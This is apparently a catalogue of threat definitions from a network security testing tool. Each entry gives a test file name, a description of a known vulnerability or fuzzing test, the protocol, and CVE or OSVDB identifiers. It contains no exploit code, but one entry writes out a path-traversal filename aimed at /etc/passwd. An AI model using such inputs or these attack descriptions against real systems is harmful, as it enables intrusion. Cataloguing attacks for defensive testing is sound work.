Detailed Description:	An signedness error vulnerability exists in Sophos Anti-Virus. The vulnerability is due to insufficient validation of one of the parameters of the VMSF_DELTA filter while parsing RAR files. The vulnerable code calculates new values from this parameter resulting in a memory corruption. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted RAR file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87061
Threat File Name:	FSC20080812-24_Microsoft_PowerPoint_Viewer_Drawing_Shape_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft PowerPoint Viewer Drawing Shape Integer Overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint Viewer. The vulnerability is due to a memory allocation error while handling malformed picture index in a PowerPoint file. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious PowerPoint file, potentially causing arbitrary code to be executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0121
Threat Package:	Standard
Threat File Name:	FSC20080814-06_FlashGet_FTP_PWD_Command_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	FlashGet FTP PWD Command Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in FlashGet. The vulnerability is caused by insufficient boundary checking. An attacker could exploit this vulnerability by enticing a user to an FTP server that sends specially crafted PWD command responses to the FlashGet application, potentially leading to injection and execution of arbitrary code in the security context of the target system's logged in user. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToPOST_IPv6.xml
Executive Description:	Fuzz HTTP OPTION appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field by appending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20081015-04_Sun_Solstice_AdminSuite_sadmind_service_adm_build_path_Buffer_Overflow.xml
Executive Description:	Sun Solstice AdminSuite sadmind service adm_build_path Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Solstice AdminSuite's sadmind. The flaw is due to improper user input validation when processing RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending crafted RPC message to the target host, potentially inject and execute arbitrary code with root level privileges.
Protocol Type:	SUNRPC
CVEID:	CVE-2008-4556
Threat Package:	Standard
Threat File Name:	TSL20141023-02_FreeBSD_rtsold_dname_labeldec_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	FreeBSD rtsold dname_labeldec Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in FreeBSD rtsold. The vulnerability is due to improper bounds checking during a copy operation when decoding domain name label encodings in router solicitation messages. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted router advertisement message to a host. Successful exploitation could lead to arbitrary code execution under the security context of the rtsold process.
Protocol Type:	ICMP6
CVEID:	CVE-2014-3954
OSVDB:	113610
Threat File Name:	xmlrpc.xml
Executive Description:	XMLRPC Command Injection
Detailed Description:	This threat injects commands through a flaw in xmlrpc.php. XMLRPC is used by many popular programs as a framework to pass functions through XML and web servers. It typically is a component on web servers and listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1992
OSVDB:	17635
Threat Package:	Standard
Threat File Name:	sipnolwsdisplayname.xml
Executive Description:	SIPPING: No LWS in Display Name
Detailed Description:	This threat sends out a SIP OPTIONS message with no space between the display name and the opening < in the From: header. While this is not valid per RFC 3261, this should be legal and future RFCs will be updated to allow it.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20100330-07_Microsoft_Internet_Explorer_Tabular_Data_Control_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Tabular Data Control Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due a design error in the TDCctl ActiveX Control in the handling of long URLs. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code execution is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in this case would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0805
Threat Package:	Standard
Threat File Name:	TSL20070730-01_VMware_Workstation_ActiveX_Control_vielib_dll_Command_Execution_IPv6.xml

Executive Description:	VMware Workstation ActiveX Control vielib.dll Command Execution(IPv6 Version)
Detailed Description:	There exists a access control weakness vulnerability in the way VMware Workstation ActiveX Control handles user supplied data. The vulnerability is a result of insufficient data validation while processing the StartProcess method call from a webpage script. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged-in user. An attack targeting this vulnerability can result in arbitrary command execution. If command execution is successful, the behaviour of the target will depend on the intention of the attacker. Any command will be executed within the security context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2007-4058
Threat File Name:	fuzz-TFTP_WRO_NETASCII_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRO_NETASCII_formatn.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %n to netascii with ranging sizes. OpCode is WRO. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20100507-04_Apple_Safari_parent_close_Code_Execution.xml
Executive Description:	Apple Safari parent.close Code Execution
Detailed Description:	A code execution vulnerability exists in Apple Safari. The vulnerability is due to an error while handling the termination and subsequent referencing between child and parent windows. Remote attackers can exploit this vulnerability to execute arbitrary code on the target machine by enticing a user into opening a specially crafted HTML document. Note that popup windows must be enabled in order to successfully exploit this vulnerability. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	ContrexSQL_Injection_IPv6.xml
Executive Description:	Contrex SQL Injection Attack (IPv6 Version)
Detailed Description:	This attack takes advantage of a SQL injection flaw in Contrex. Contrex is a Content Management System written in PHP. This particular attack will attempt to enumerate usernames and passwords. Contrex is a web application, and would typically listen over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2415
OSVDB:	18167
Threat Package:	Standard
Threat File Name:	TSL20140930-07_ManageEngine_Multiple_Products_FileCollector_Directory_Traversal.xml
Executive Description:	ManageEngine Multiple Products FileCollector Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in ManageEngine OpManager, Social IT Plus and IT360. The vulnerability is due to lack of authentication and insufficient input validation on parameters sent to "/servlets/FileCollector" in HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP
CVEID:	CVE-2014-6035
OSVDB:	112277
Threat File Name:	ms05-029_owa_IPv6.xml
Executive Description:	MS05-029 Exchange XSS Attack (IPv6 Version)
Detailed Description:	This threat sends a cross site attack to an exchange server through the SMTP protocol. This then causes a XSS event to occur if the user views the email through Outlook Web Access (OWA). SMTP servers typically listen on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-0563
OSVDB:	17307
Threat Package:	Standard
Threat File Name:	estara_bof.xml
Executive Description:	eStara Softphone Buffer Overflow
Detailed Description:	This threat sends out a SIP INVITE message with a SDP payload that will cause a buffer overflow on eStara Softphone. The threat contains a shellcode payload that pops up a dialog box.
Protocol Type:	SIP
CVEID:	CVE-2006-0189
OSVDB:	22348
Threat Package:	Standard
Threat File Name:	service_looping_IPv6.xml
Executive Description:	UDP Service Looping (IPv6 Version)
Detailed Description:	This threat sends out a UDP packet full of 0x41('A') from a spoofed source address and port to a specified target IP and port. This is an attempt to get two services to bounce messages between each other in order to use up bandwidth and resources. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-1999-0103
OSVDB:	150
Threat Package:	Standard
Threat File Name:	FSC20060509-07_Microsoft_Windows_MSRTC_Denial_of_Service_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows MSRTC Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in the DTC (Distributed Transaction Coordinator) component of Microsoft Windows. The flaw is caused by insufficient verification of user supplied data. The successful exploitation of the vulnerability may allow an attacker to cause the affected system to stop accepting requests. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-1184

Threat Package:	Standard
Threat File Name:	powertcp_zip_activex_bof_IPv6.xml
Executive Description:	IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) Remote Buffer overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the PowerTCP ZIP Compression ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2856
Threat Package:	Standard
Threat File Name:	FSC20040916-01_Apache_apr-util_IPv6_URI_Parsing_Vulnerability_IPv6.xml
Executive Description:	Apache apr-util IPv6 URI Parsing Vulnerability (IPv6 Version)
Detailed Description:	A input validation vulnerability exists in the way the apr-util library, a component of the Apache 2.x HTTP server, parses URI strings.. The vulnerability can be triggered by sending a crafted URL which contain a malformed IPv6 literal addresses. The vulnerability is exploitable whether or not the HTTP server is bound to an IPv4 or IPv6 address. An attacker can trigger the vulnerability to create a denial of service condition. Under some configurations or platforms, exploitation of the vulnerability could lead to remote code execution. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0786
Threat Package:	Standard
Threat File Name:	TSL20110510-11_Mozilla_Firefox_OBJECT_mChannel_Use_After_Free_IPv6.xml
Executive Description:	Mozilla Firefox OBJECT mChannel Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Mozilla Firefox. The vulnerability is due to a specific method call on an object with an unassigned mChannel, resulting in a dangling pointer. A remote attacker could exploit this vulnerability by enticing a user to visit a malicious web page. A successful attack would result in execution of arbitrary code in the security context of the browser's user. If the attack fails, Firefox may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0065
Threat File Name:	pixel_motion_rcmd_IPv6.xml
Executive Description:	Pixel Motion Config.PHP Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted HTTP POST reply to a web server running a vulnerable version of Blog Pixel Motion leveraging a flaw in its Config.php function. Pixel Motion is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	DodosMail_rfi_IPv6.xml
Executive Description:	DodosMail <= 2.0.1(dodosmail.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DodosMail is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5841
Threat Package:	Standard
Threat File Name:	macrovision_isuswebdll_activex_bof.xml
Executive Description:	Macrovision Installshield isusweb.dll Remote Code Execution Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Macrovision Installshield isusweb.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5660
Threat Package:	Standard
Threat File Name:	FSC20060316-09_Microsoft_Internet_Explorer_Script_Action_Handler_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer Script Action Handler Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability has been identified in Microsoft Internet Explorer. The vulnerability is created by insufficient validation of user supplied event handler assignments. An attacker can potentially exploit this vulnerability to inject and execute arbitrary code on a vulnerable host. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1245
Threat Package:	Standard
Threat File Name:	FSC20080109-11_Microsoft_Visual_FoxPro_vfp6r_dll_DoCmd_ActiveX_Control_Command_Execution.xml
Executive Description:	Microsoft Visual FoxPro vfp6r.dll DoCmd ActiveX Control Command Execution
Detailed Description:	There exists an access control weakness vulnerability in the way Microsoft Visual FoxPro ActiveX Control handles user supplied data. The vulnerability is a result of insufficient data validation while processing the DoCmd method call from a webpage script. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged-in user.
Protocol Type:	
Threat Package:	Standard
Threat File Name:	c-arbre_rfi_IPv6.xml
Executive Description:	C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. C-Arbre is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1721
Threat Package:	Standard
Threat File Name:	TSL20120508-11_Microsoft_Excel_File_Parsing_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Excel File Parsing Memory Corruption(IPV6 Version)

Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel. The vulnerability is due to the way in which Excel processes various modified bytes in Excel files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0143
OSVDB:	81726
Threat File Name:	FSC20080513-06_Microsoft_Word_RTF_File_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Word RTF File Handling Memory Corruption
Detailed Description:	A heap overflow vulnerability exists in the way Microsoft Word and Microsoft Outlook process Rich Text Format (RTF) files. The vulnerability is due to an integer overflow while parsing Control Words inside a malicious RTF file. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file or an RTF formatted email using the affected applications, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1091
Threat Package:	Standard
Threat File Name:	TSL20130204-03_IBM_Java_com_ibm_rmi_util_ProxyUtil_Sandbox_Breach.xml
Executive Description:	IBM Java com.ibm.rmi.util.ProxyUtil Sandbox Breach
Detailed Description:	A sandbox breach vulnerability exists in IBM Java. The vulnerability is due to an access control failure in the "com.ibm.rmi.util.ProxyUtil" package. An unauthenticated remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation can result in the execution of arbitrary Java code outside the sandbox.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-4820
OSVDB:	87300
Threat File Name:	FSC20090626-01_VideoLAN_VLC_Media_Player_SMB_Module_Win32AddConnection_Buffer_Overflow_IPv6.xml
Executive Description:	VideoLAN VLC Media Player SMB Module Win32AddConnection Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in VideoLAN VLC Media Player. The vulnerability is due to a boundary error in function "Win32AddConnection()" in file "modules/access/smb.c" while parsing specially crafted SMB path. Remote attackers can exploit this vulnerability, for example, by enticing target users to open a playlist file having an overly long "smb://" URI that will cause a stack buffer overflow, or by sending a specially crafted request to VLC web interface. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101026-08_Mozilla_Firefox_document_write_And_DOM_Insertions_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox document.write And DOM Insertions Memory (IPv6 VERSION)
Detailed Description:	A remote code execution vulnerability has been reported in Mozilla Firefox. The vulnerability is due to a buffer overflow while executing specially crafted Javascript call document.write() combined with DOM insertions. An attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web site.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-3765
Threat File Name:	fuzz-HTTP_ReplicateXInINDEX_IPv6.xml
Executive Description:	Fuzz HTTP Request-URI with indexxxxx.html (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by replicating the letter X in index.html between 0 and 1024 times. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	sipunusualreason_IPv6.xml
Executive Description:	SIPPING: Unusual Reason (IPv6 Version)
Detailed Description:	This threat sends out a SIP status message with code 200 (OK) but a non-standard reason including escaped and UTF-8 characters. This is legal but unexpected, and may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	nimda6.xml
Executive Description:	Nimda Request URL 6
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20081217-14_Adobe_Flash_Player_for_Linux_ActionScript_ASnative_Command_Execution.xml
Executive Description:	Adobe Flash Player for Linux ActionScript ASnative Command Execution

Detailed Description:	There exists a remote command execution vulnerability in Adobe Flash Player for Linux. The vulnerability is a result of failure to validate user input when parsing maliciously crafted SWF files. An attacker may exploit this vulnerability by enticing a target user to open a malicious SWF file. Successful exploitation can lead to execution of system commands in the security context of currently logged on user. An attack targeting this vulnerability can result in the injection and execution of command. If command execution is successful, the behaviour of the target will depend on the intention of the attacker. Any command will be executed within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-5499
Threat Package:	Standard
Threat File Name:	TSL20111011-23_Microsoft_Internet_Explorer_Virtual_Function_Table_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Virtual Function Table Memory Corruption
Detailed Description:	A remote code execution vulnerability has been reported in Internet Explorer (IE). The vulnerability is due to the way in which IE accesses a corrupted virtual function table. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2001
Threat File Name:	TSL20141020-05_PHP_Core_unserialize_Function_Integer_Overflow.xml
Executive Description:	PHP Core unserialize Function Integer Overflow
Detailed Description:	A code execution vulnerability has been reported in PHP core. The vulnerability is due to an integer overflow within the unserialize() function. A remote attacker can exploit the vulnerability by sending crafted serialize data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly remote code execution.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3669
OSVDB:	113423
Threat File Name:	websitebakery_cmi_IPv6.xml
Executive Description:	Website Baker Remote Command Execution (IPv6 Version)
Detailed Description:	This threat sends multiple HTTP requests upload a PHP shell allowing arbitrary command execution. Website Baker is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4140
OSVDB:	21572
Threat File Name:	ez-ticket_rfi.xml
Executive Description:	EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. EZ-Ticket is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5523
Threat Package:	Standard
Threat File Name:	phorum_injection_IPv6.xml
Executive Description:	Phorum Remote Code Execution (IPv6 Version)
Detailed Description:	This threat inserts PHP code from another site due to an implementation flaw in the software package Phorum. Phorum is a bulletin board system for web servers, and would typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0764
OSVDB:	11142
Threat Package:	Standard
Threat File Name:	princeclan_rfi_IPv6.xml
Executive Description:	PrinceClan Chess Mambo Component Remote Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PrinceClan Chess is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100301-09_Multiple_Vendors_librpc_dll_Stack_Buffer_Overflow.xml
Executive Description:	Multiple Vendors librpc.dll Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM's Informix Dynamic Server and EMC's Legato Networker. The vulnerability is due to insufficient validation of user input during authentication by the RPC protocol parsing library, librpc.dll. the library is used by the Portmapper service (portmap.exe). An attacker can exploit this vulnerability to cause stack based buffer overflow which can lead to arbitrary code execution in the context of the affected service, which is SYSTEM.
Protocol Type:	Portmapper-RPC
CVEID:	CVE-2009-2754
Threat Package:	Standard
Threat File Name:	pslash_rfi_IPv6.xml
Executive Description:	PSlash lvc_include_dir Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url to a web server, taking advantage of a flaw PSlash application software, thus allowing for commands to be executed on the affected server. PSlash is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	28297
Threat Package:	Standard
Threat File Name:	FSC20070910-02_Trend_Micro_ServerProtect_TMregChange_Stack_Overflow_IPv6.xml
Executive Description:	Trend Micro ServerProtect TMregChange Stack Overflow (IPv6 Version)

Detailed Description:	A stack-based buffer overflow vulnerability exists in Trend Micro ServerProtect. The vulnerability is due to improper bounds checking of specially crafted messages sent to TMregChange functionality of the service. A remote unauthenticated attacker, with network access to the vulnerable service, could exploit this vulnerability by sending a specially crafted message to the target service and could inject and execute arbitrary code on the target system with System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4731
Threat Package:	Standard
Threat File Name:	FSC20090113-14_Microsoft_Windows_SMB_OPEN2_Request_Error_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Windows SMB OPEN2 Request Error Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows SMB services. The flaw is due to insufficient input validation when handling a SMB TRANS2 request. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. In an attack case where code injection is not successful, an attacked system will encounter an unrecoverable system error and display the Blue Screen of Death (BSOD). The target will halt or restart based on the configuration of system failure event handling. If the system is halted, it must be restarted manually by an administrator. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the System (Ring 0).
Protocol Type:	SMB
CVEID:	CVE-2008-4835
Threat Package:	Standard
Threat File Name:	macosx_vpnd_dos_IPv6.xml
Executive Description:	Apple MacOS X 10.5.0 (Leopard) vpnd Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a crafted packet to UDP port 4112 to cause a denial of service in the Apple Mac OS X 10.5 VPND service. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2007-6276
Threat Package:	Standard
Threat File Name:	TSL20170306-03_Apache_Struts_Jakarta_Multipart_Parser_Remote_Code_Execution_IPv6.xml
Executive Description:	Apache Struts Jakarta Multipart Parser Remote Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Apache Struts. The vulnerability is due to a design weakness in the way Content-Type headers are processed by the Jakarta Multipart Parser component of Apache Struts. A remote attacker could exploit this vulnerability by sending a crafted request to the target server. Successful exploitation will allow an attacker to execute arbitrary code with the privileges of the server.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5638
Threat File Name:	TSL20110913-04_Microsoft_Office_Excel_Out_of_Bounds_Array_Indexing.xml
Executive Description:	Microsoft Office Excel Out of Bounds Array Indexing
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an index boundary error leading to memory corruption in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2011-1987
Threat File Name:	fuzz-TFTP_RRQ_NETASCII_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_NETASCII_formatn.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %n to netascii with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20150707-02_Adobe_Flash_Player_ActionScript3_ByteArray_Class_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Player ActionScript3 ByteArray Class Use After Free IPv6 version
Detailed Description:	A use-after-free vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an issue in the AS3 ByteArray class. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPV6
CVEID:	CVE-2015-5119
Threat File Name:	FSC20090210-15_Microsoft_Office_Visio_VSD_File_Icon_Bits_Memory_Corruption.xml
Executive Description:	Microsoft Office Visio VSD File Icon Bits Memory Corruption
Detailed Description:	A remote code-execution vulnerability exists in Microsoft Visio. The vulnerability is due to incorrect handling of the Icon Bits in a crafted Microsoft Visio file. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious Microsoft Visio file, potentially causing arbitrary code to be injected and executed on the target. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Microsoft Visio will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0095
Threat Package:	Standard
Threat File Name:	ms05-030_nntpExp_IPv6.xml
Executive Description:	MS05-030 NNTP Exploit On Outlook Express (IPv6 Version)

Detailed Description:	This threat causes Outlook Express to launch a shell listening on port 4444. It is caused by connecting to a malicious Usenet server and retrieving a listing of available archives. NNTP is the protocol used for Usenet, and typically runs on port 119. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	NNTP/IPv6
CVEID:	CVE-2005-1213
OSVDB:	17306
Threat Package:	Standard
Threat File Name:	tar_directory_traversal.xml
Executive Description:	Malicious Compressed Tar File
Detailed Description:	This threat mimics the downloading of a malicious tar file from a webserver. This malicious tar file contains the file ../../../../../../etc/passwd. This is an attempt to overwrite the passwd file in a Unix system. Some virus scanning tools and versions of tar are susceptible to this kind of attack. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2670
OSVDB:	18812
Threat Package:	Standard
Threat File Name:	TSL20120214-10_Microsoft_Internet_Explorer_HTML_Layout_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer HTML Layout Use After Free
Detailed Description:	A use-after-free vulnerability exists in the HTML layout code of Microsoft Internet Explorer. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. If an attack succeeds in injecting code the behaviour of the target host is entirely dependent on the intended function of the injected code. In this case the injected code would be executed within the security context of the currently logged-in user. If such an attack is not successful, the vulnerable application may terminate abnormally
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0011
Threat File Name:	FSC20040728-01_Microsoft_SMS_Remote_Control_Service_DoS.xml
Executive Description:	Microsoft SMS Remote Control Service DoS
Detailed Description:	There exists a vulnerability in the Microsoft Systems Management Server (SMS) Remote Control Service that allows an attacker to cause a denial of service condition. By using a specially crafted TCP packet, an attacker can bypass the input verification procedure and cause an invalid memory read or write. There exists a second denial of service condition in the Microsoft Systems Management Server (SMS) Remote Control Service. Any packet that is not in the context of a remote control session and can bypass the input verification procedure will cause the service to enter an infinite loop.
Protocol Type:	SMS
CVEID:	CVE-2004-0728
Threat Package:	Standard
Threat File Name:	TSL20150106-03_ManageEngine_Multiple_Products_WsDiscoveryServlet_Directory_Traversal.xml
Executive Description:	ManageEngine Multiple Products WsDiscoveryServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in ManageEngine ServiceDesk Plus, AssetExplorer and IT360. The vulnerability is due to lack of authentication and insufficient input validation on the "computerName" parameter sent in HTTP requests to the WsDiscoveryServlet. A remote unauthenticated attacker can upload or delete arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing crafted files in critical locations. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-5302
OSVDB:	116737
Threat File Name:	TSL20130204-03_IBM_Java_com_ibm_rmi_util_ProxyUtil_Sandbox_Breach_IPv6.xml
Executive Description:	IBM Java com.ibm.rmi.util.ProxyUtil Sandbox Breach(IPv6 Version)
Detailed Description:	A sandbox breach vulnerability exists in IBM Java. The vulnerability is due to an access control failure in the "com.ibm.rmi.util.ProxyUtil" package. An unauthenticated remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation can result in the execution of arbitrary Java code outside the sandbox.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-4820
OSVDB:	87300
Threat File Name:	TSL20110728-02_CA_ARCserve_D2D_GWT_RPC_Request_Credentials_Disclosure_IPv6.xml
Executive Description:	CA ARCserve D2D GWT RPC Request Credentials Disclosure(IPv6 Version)
